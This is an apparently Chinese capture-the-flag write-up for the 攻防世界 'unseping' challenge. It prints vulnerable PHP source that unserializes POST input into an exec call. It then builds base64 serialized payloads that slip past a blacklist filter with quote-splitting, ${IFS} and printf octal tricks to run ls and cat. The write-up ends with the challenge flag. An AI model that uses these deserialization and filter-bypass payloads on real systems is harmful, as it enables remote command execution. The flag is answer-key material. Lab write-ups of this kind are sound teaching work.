攻防世界 unseping

第一、分析得到的源码。发现时PHP反序列化漏洞，并进行了过滤。不懂反序列化的度娘。

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    //进行了过滤
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 //当提交表单时，函数运行
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];//以POST提交表单
@unserialize(base64_decode($ctf));//反序列化，而且使用了base64加密方式
?>

第二、开始构造代码

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array("l's'"));
$b = serialize($a);  //对实列化一个类进行序列化
echo $b; //输出序列化结果
echo '</br>';//分行
echo base64_encode(serialize($a)); 对序列化的结果进行base64加密

?>

标准输出：
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l's'";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJ3MnIjt9fQ==

第三、输出结果提交，得出flag文件位置。

 第四、发现一个名为flag_1s_here的文件夹，于是再ls flag_1s_here，但是由于flag被过滤，所以又要用引号绕过。同时空格也是被过滤了的，此处用IFS变量进行绕过。将$arg的值改为索要执行的命令。

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b;
echo '</br>';
echo base64_encode(serialize($a));

?>

标准输出：
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

第五、提交，得到flag位置

 第六、想要执行cat flag_1s_here/flag_831b69012c67b35f.php来查看flag，cat，flag，php都可以用双引号绕过，空格用${IFS}绕过，/要用printf及$()绕过。令$arg=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}

$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo '</br>';
echo base64_encode(serialize($a));

?>

标准输出：
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

 第七、flag

cyberpeace{44baa401d362de5cb5c49f565c950fbe}